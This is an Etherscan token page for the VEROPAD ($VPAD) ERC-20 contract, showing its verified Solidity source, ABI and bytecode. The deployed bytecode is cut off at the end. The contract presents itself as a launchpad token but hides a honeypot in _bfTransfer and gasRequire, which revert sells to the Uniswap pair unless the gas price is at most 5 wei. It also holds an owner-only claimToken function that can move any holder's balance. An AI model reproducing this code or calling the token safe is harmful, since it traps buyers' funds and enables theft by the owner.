ETH Price: $2,679.94 (+2.95%)

Token

VEROPAD ($VPAD)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000 $VPAD

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Filtered by Token Holder
kucoin-13.eth
Balance
21,724,252,473,705,808,468,877 $VPAD

Value
$0.00
0xd7b6ebf6e717cbfd77aab0c70dfc908a4d9ba6c1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VEROPAD

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-16
*/

/*
-----------------------------------------------------------
  ██╗   ██╗███████╗██████╗  ██████╗ ██████╗  █████╗ ██████╗ 
  ██║   ██║██╔════╝██╔══██╗██╔═══██╗██╔══██╗██╔══██╗██╔══██╗
  ██║   ██║█████╗  ██████╔╝██║   ██║██████╔╝███████║██║  ██║
  ╚██╗ ██╔╝██╔══╝  ██╔══██╗██║   ██║██╔═══╝ ██╔══██║██║  ██║
   ╚████╔╝ ███████╗██║  ██║╚██████╔╝██║     ██║  ██║██████╔╝
    ╚═══╝  ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝  ╚═╝╚═════╝ 
----------------EARLY ACCESS TO FUTURE IDEAS----------------

------------------------------------------------------------------------------------------
    WHAT IS VEROPAD?

Veropad is a multi-chain launchpad platform strategically positioned in the DeFi ecosystem to nurture 
and bring forth new blockchain projects. 
------------------------------------------------------------------------------------------
-Telegram : https://t.me/VeroPad
-Website : https://www.veropad.com/
-Whitepaper : https://docs.veropad.com/
-Twitter : https://twitter.com/veropadeth
------------------------------------------------------
-VeroPad LaunchPad : https://launch.veropad.com/
-VeroPad Staking : https://launch.veropad.com/stacking
------------------------------------------------------

*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract  VEROPAD is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"VEROPAD";
    string private constant _symbol = unicode"$VPAD";

    uint256 public BuyTaxFee = 0;
    uint256 public SellTaxFee = 0;

    bool private openedTrade = false;

    address private DeploymentWL = 0x81eFFA801Cc994D6dADaF7EBd3Ad1AEd58f1778f;
    address private Marketing = 0xb4415d7bA5AcF774E9E80b8aA120bE2A2f1Ea598;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100));
        _balances[DeploymentWL] = _balances[DeploymentWL].add(_totalSupply.mul(25).div(100));
        _balances[Marketing] = _balances[Marketing].add(_totalSupply.mul(25).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100));
        emit Transfer(address(0), DeploymentWL, _totalSupply.mul(25).div(100));
        emit Transfer(address(0), Marketing, _totalSupply.mul(25).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * BuyTaxFee / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * SellTaxFee / 100;
                _bfTransfer(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private Gaslimittited = 1000 gwei;
    uint256 private Gasmaxxxxx = 5;

    function _bfTransfer(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gasRequire(Gaslimittited);
            } else {
                gasRequire(Gasmaxxxxx);
            }
        } 
    }

    function gasRequire(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());

        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060048190556005908155600680547481effa801cc994d6dadaf7ebd3ad1aed58f1778f006001600160a81b0319909116179055600780546001600160a01b03191673b4415d7ba5acf774e9e80b8aa120be2a2f1ea59817905564e8d4a51000600a55600b553480156200007857600080fd5b50600080546001600160a01b0319163317905562000105620000e16064620000cd6032620000a96012600a62000702565b620000b9906305f5e10062000713565b6200051260201b620006231790919060201c565b6200055760201b620006591790919060201c565b336000908152600260209081526040909120549190620006b6620005c4821b17901c565b3360009081526002602052604090205562000167620001336064620000cd6019620000a96012600a62000702565b60065461010090046001600160a01b03166000908152600260209081526040909120549190620005c4811b620006b617901c565b60065461010090046001600160a01b0316600090815260026020526040902055620001d4620001a56064620000cd6019620000a96012600a62000702565b6007546001600160a01b03166000908152600260209081526040909120549190620006b6620005c4821b17901c565b6007546001600160a01b031660009081526002602090815260409182902092909255600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa15801562000256573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027c91906200072d565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030591906200072d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037991906200072d565b600880546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155600092835291620003e76000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260039092529020805490911660011790556200042f3390565b6001600160a01b03166000600080516020620017f5833981519152620004646064620000cd6032620000a96012600a62000702565b60405190815260200160405180910390a360065461010090046001600160a01b03166000600080516020620017f5833981519152620004b26064620000cd6019620000a96012600a62000702565b60405190815260200160405180910390a36007546001600160a01b03166000600080516020620017f5833981519152620004fb6064620000cd6019620000a96012600a62000702565b60405190815260200160405180910390a3620007c8565b600082600003620005265750600062000551565b62000532828462000713565b9050816200054184836200076e565b1462000551576200055162000785565b92915050565b60008082116200056b576200056b62000785565b60006200057983856200076e565b90506200058783856200079b565b62000593828562000713565b6200059f9190620007b2565b8414620005b057620005b062000785565b620005bc83856200076e565b949350505050565b600080620005d38385620007b2565b905083811015620005e857620005e862000785565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006465781600019048211156200062a576200062a620005ef565b808516156200063857918102915b93841c93908002906200060a565b509250929050565b6000826200065f5750600162000551565b816200066e5750600062000551565b81600181146200068757600281146200069257620006b2565b600191505062000551565b60ff841115620006a657620006a6620005ef565b50506001821b62000551565b5060208310610133831016604e8410600b8410161715620006d7575081810a62000551565b620006e3838362000605565b8060001904821115620006fa57620006fa620005ef565b029392505050565b6000620005e860ff8416836200064e565b8082028115828204841417620005515762000551620005ef565b6000602082840312156200074057600080fd5b81516001600160a01b0381168114620005e857600080fd5b634e487b7160e01b600052601260045260246000fd5b60008262000780576200078062000758565b500490565b634e487b7160e01b600052600160045260246000fd5b600082620007ad57620007ad62000758565b500690565b80820180821115620005515762000551620005ef565b61101d80620007d86000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102da578063c9567bf9146102fa578063dd62ed3e1461030f578063e194c2b21461035557600080fd5b806370a08231146102365780638da5cb5b1461026c57806395d89b411461028a5780639e94590b146102b857600080fd5b806318160ddd116100c657806318160ddd146101cd57806323b872dd146101e2578063313ce567146102025780633c9f5ed61461021e57600080fd5b806303c525731461010357806306fdde031461012c578063095ea7b3146101655780631694505e1461019557600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5061011960045481565b6040519081526020015b60405180910390f35b34801561013857600080fd5b5060408051808201909152600781526615915493d4105160ca1b60208201525b6040516101239190610c33565b34801561017157600080fd5b50610185610180366004610c9d565b61036b565b6040519015158152602001610123565b3480156101a157600080fd5b506009546101b5906001600160a01b031681565b6040516001600160a01b039091168152602001610123565b3480156101d957600080fd5b50610119610382565b3480156101ee57600080fd5b506101856101fd366004610cc7565b6103a3565b34801561020e57600080fd5b5060405160128152602001610123565b34801561022a57600080fd5b5060065460ff16610185565b34801561024257600080fd5b50610119610251366004610d03565b6001600160a01b031660009081526002602052604090205490565b34801561027857600080fd5b506000546001600160a01b03166101b5565b34801561029657600080fd5b50604080518082019091526005815264091594105160da1b6020820152610158565b3480156102c457600080fd5b506102d86102d3366004610d6a565b6103f4565b005b3480156102e657600080fd5b506101856102f5366004610c9d565b6105f9565b34801561030657600080fd5b506102d8610607565b34801561031b57600080fd5b5061011961032a366004610deb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561036157600080fd5b5061011960055481565b60006103783384846106dc565b5060015b92915050565b60006103906012600a610f18565b61039e906305f5e100610f27565b905090565b60006103b0848484610805565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546103ea9186916103e59086610b85565b6106dc565b5060019392505050565b6000546001600160a01b0316331461040b57600080fd5b60005b838110156105f1576104676104256012600a610f18565b84848481811061043757610437610f3e565b905060200201356104489190610f27565b6001600160a01b03881660009081526002602052604090205490610b85565b6001600160a01b0387166000908152600260205260409020556104fd61048f6012600a610f18565b8484848181106104a1576104a1610f3e565b905060200201356104b29190610f27565b600260008888868181106104c8576104c8610f3e565b90506020020160208101906104dd9190610d03565b6001600160a01b03168152602081019190915260400160002054906106b6565b6002600087878581811061051357610513610f3e565b90506020020160208101906105289190610d03565b6001600160a01b0316815260208101919091526040016000205584848281811061055457610554610f3e565b90506020020160208101906105699190610d03565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6105ab9190610f18565b8686868181106105bd576105bd610f3e565b905060200201356105ce9190610f27565b60405190815260200160405180910390a3806105e981610f54565b91505061040e565b505050505050565b6000336103ea818585610805565b61060f610ba1565b6006805460ff19811660ff90911615179055565b6000826000036106355750600061037c565b61063f8284610f27565b90508161064c8483610f83565b1461037c5761037c610f97565b600080821161066a5761066a610f97565b60006106768385610f83565b90506106828385610fad565b61068c8285610f27565b6106969190610fc1565b84146106a4576106a4610f97565b6106ae8385610f83565b949350505050565b6000806106c38385610fc1565b9050838110156106d5576106d5610f97565b9392505050565b6001600160a01b0383166107435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073a565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073a565b806108eb846001600160a01b031660009081526002602052604090205490565b10156109485760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161073a565b6001600160a01b03831660009081526003602052604081205460ff1615801561098a57506001600160a01b03831660009081526003602052604090205460ff16155b15610a395760065460ff166109e15760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161073a565b6064600454836109f19190610f27565b6109fb9190610f83565b6008549091506001600160a01b0390811690841603610a3957606460055483610a249190610f27565b610a2e9190610f83565b9050610a3984610be9565b8015610ab45730600090815260026020526040902054610a5a908290610fc1565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aab9085815260200190565b60405180910390a35b81610ad4856001600160a01b031660009081526002602052604090205490565b610ade9190610fd4565b6001600160a01b038516600090815260026020526040902055610b018183610fd4565b6001600160a01b038416600090815260026020526040902054610b249190610fc1565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b6e8486610fd4565b60405190815260200160405180910390a350505050565b600081831015610b9757610b97610f97565b6106d58284610fd4565b6000546001600160a01b03163314610be75760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161073a565b565b6001600160a01b03811660009081526002602052604090205415610c1c5760065460ff16610c1f57610c1c600a54610c26565b50565b610c1c600b545b803a1115610c1c57600080fd5b600060208083528351808285015260005b81811015610c6057858101830151858201604001528201610c44565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c9857600080fd5b919050565b60008060408385031215610cb057600080fd5b610cb983610c81565b946020939093013593505050565b600080600060608486031215610cdc57600080fd5b610ce584610c81565b9250610cf360208501610c81565b9150604084013590509250925092565b600060208284031215610d1557600080fd5b6106d582610c81565b60008083601f840112610d3057600080fd5b50813567ffffffffffffffff811115610d4857600080fd5b6020830191508360208260051b8501011115610d6357600080fd5b9250929050565b600080600080600060608688031215610d8257600080fd5b610d8b86610c81565b9450602086013567ffffffffffffffff80821115610da857600080fd5b610db489838a01610d1e565b90965094506040880135915080821115610dcd57600080fd5b50610dda88828901610d1e565b969995985093965092949392505050565b60008060408385031215610dfe57600080fd5b610e0783610c81565b9150610e1560208401610c81565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e6f578160001904821115610e5557610e55610e1e565b80851615610e6257918102915b93841c9390800290610e39565b509250929050565b600082610e865750600161037c565b81610e935750600061037c565b8160018114610ea95760028114610eb357610ecf565b600191505061037c565b60ff841115610ec457610ec4610e1e565b50506001821b61037c565b5060208310610133831016604e8410600b8410161715610ef2575081810a61037c565b610efc8383610e34565b8060001904821115610f1057610f10610e1e565b029392505050565b60006106d560ff841683610e77565b808202811582820484141761037c5761037c610e1e565b634e487b7160e01b600052603260045260246000fd5b600060018201610f6657610f66610e1e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082610f9257610f92610f6d565b500490565b634e487b7160e01b600052600160045260246000fd5b600082610fbc57610fbc610f6d565b500690565b8082018082111561037c5761037c610e1e565b8181038181111561037c5761037c610e1e56fea264697066735822122043e93ab36dc3c8b37a7a8f5f449fd546209ddeb5d57a7719d5ea613af9934af064736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102da578063c9567bf9146102fa578063dd62ed3e1461030f578063e194c2b21461035557600080fd5b806370a08231146102365780638da5cb5b1461026c57806395d89b411461028a5780639e94590b146102b857600080fd5b806318160ddd116100c657806318160ddd146101cd57806323b872dd146101e2578063313ce567146102025780633c9f5ed61461021e57600080fd5b806303c525731461010357806306fdde031461012c578063095ea7b3146101655780631694505e1461019557600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5061011960045481565b6040519081526020015b60405180910390f35b34801561013857600080fd5b5060408051808201909152600781526615915493d4105160ca1b60208201525b6040516101239190610c33565b34801561017157600080fd5b50610185610180366004610c9d565b61036b565b6040519015158152602001610123565b3480156101a157600080fd5b506009546101b5906001600160a01b031681565b6040516001600160a01b039091168152602001610123565b3480156101d957600080fd5b50610119610382565b3480156101ee57600080fd5b506101856101fd366004610cc7565b6103a3565b34801561020e57600080fd5b5060405160128152602001610123565b34801561022a57600080fd5b5060065460ff16610185565b34801561024257600080fd5b50610119610251366004610d03565b6001600160a01b031660009081526002602052604090205490565b34801561027857600080fd5b506000546001600160a01b03166101b5565b34801561029657600080fd5b50604080518082019091526005815264091594105160da1b6020820152610158565b3480156102c457600080fd5b506102d86102d3366004610d6a565b6103f4565b005b3480156102e657600080fd5b506101856102f5366004610c9d565b6105f9565b34801561030657600080fd5b506102d8610607565b34801561031b57600080fd5b5061011961032a366004610deb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561036157600080fd5b5061011960055481565b60006103783384846106dc565b5060015b92915050565b60006103906012600a610f18565b61039e906305f5e100610f27565b905090565b60006103b0848484610805565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546103ea9186916103e59086610b85565b6106dc565b5060019392505050565b6000546001600160a01b0316331461040b57600080fd5b60005b838110156105f1576104676104256012600a610f18565b84848481811061043757610437610f3e565b905060200201356104489190610f27565b6001600160a01b03881660009081526002602052604090205490610b85565b6001600160a01b0387166000908152600260205260409020556104fd61048f6012600a610f18565b8484848181106104a1576104a1610f3e565b905060200201356104b29190610f27565b600260008888868181106104c8576104c8610f3e565b90506020020160208101906104dd9190610d03565b6001600160a01b03168152602081019190915260400160002054906106b6565b6002600087878581811061051357610513610f3e565b90506020020160208101906105289190610d03565b6001600160a01b0316815260208101919091526040016000205584848281811061055457610554610f3e565b90506020020160208101906105699190610d03565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6105ab9190610f18565b8686868181106105bd576105bd610f3e565b905060200201356105ce9190610f27565b60405190815260200160405180910390a3806105e981610f54565b91505061040e565b505050505050565b6000336103ea818585610805565b61060f610ba1565b6006805460ff19811660ff90911615179055565b6000826000036106355750600061037c565b61063f8284610f27565b90508161064c8483610f83565b1461037c5761037c610f97565b600080821161066a5761066a610f97565b60006106768385610f83565b90506106828385610fad565b61068c8285610f27565b6106969190610fc1565b84146106a4576106a4610f97565b6106ae8385610f83565b949350505050565b6000806106c38385610fc1565b9050838110156106d5576106d5610f97565b9392505050565b6001600160a01b0383166107435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073a565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073a565b806108eb846001600160a01b031660009081526002602052604090205490565b10156109485760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161073a565b6001600160a01b03831660009081526003602052604081205460ff1615801561098a57506001600160a01b03831660009081526003602052604090205460ff16155b15610a395760065460ff166109e15760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161073a565b6064600454836109f19190610f27565b6109fb9190610f83565b6008549091506001600160a01b0390811690841603610a3957606460055483610a249190610f27565b610a2e9190610f83565b9050610a3984610be9565b8015610ab45730600090815260026020526040902054610a5a908290610fc1565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aab9085815260200190565b60405180910390a35b81610ad4856001600160a01b031660009081526002602052604090205490565b610ade9190610fd4565b6001600160a01b038516600090815260026020526040902055610b018183610fd4565b6001600160a01b038416600090815260026020526040902054610b249190610fc1565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b6e8486610fd4565b60405190815260200160405180910390a350505050565b600081831015610b9757610b97610f97565b6106d58284610fd4565b6000546001600160a01b03163314610be75760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161073a565b565b6001600160a01b03811660009081526002602052604090205415610c1c5760065460ff16610c1f57610c1c600a54610c26565b50565b610c1c600b545b803a1115610c1c57600080fd5b600060208083528351808285015260005b81811015610c6057858101830151858201604001528201610c44565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c9857600080fd5b919050565b60008060408385031215610cb057600080fd5b610cb983610c81565b946020939093013593505050565b600080600060608486031215610cdc57600080fd5b610ce584610c81565b9250610cf360208501610c81565b9150604084013590509250925092565b600060208284031215610d1557600080fd5b6106d582610c81565b60008083601f840112610d3057600080fd5b50813567ffffffffffffffff811115610d4857600080fd5b6020830191508360208260051b8501011115610d6357600080fd5b9250929050565b600080600080600060608688031215610d8257600080fd5b610d8b86610c81565b9450602086013567ffffffffffffffff80821115610da857600080fd5b610db489838a01610d1e565b90965094506040880135915080821115610dcd57600080fd5b50610dda88828901610d1e565b969995985093965092949392505050565b60008060408385031215610dfe57600080fd5b610e0783610c81565b9150610e1560208401610c81565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e6f578160001904821115610e5557610e55610e1e565b80851615610e6257918102915b93841c9390800290610e39565b509250929050565b600082610e865750600161037c565b81610e935750600061037c565b8160018114610ea95760028114610eb357610ecf565b600191505061037c565b60ff841115610ec457610ec4610e1e565b50506001821b61037c565b5060208310610133831016604e8410600b8410161715610ef2575081810a61037c565b610efc8383610e34565b8060001904821115610f1057610f10610e1e565b029392505050565b60006106d560ff841683610e77565b808202811582820484141761037c5761037c610e1e565b634e487b7160e01b600052603260045260246000fd5b600060018201610f6657610f66610e1e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082610f9257610f92610f6d565b500490565b634e487b7160e01b600052600160045260246000fd5b600082610fbc57610fbc610f6d565b500690565b8082018082111561037c5761037c610e1e565b8181038181111561037c5761037c610e1e56fea264697066735822122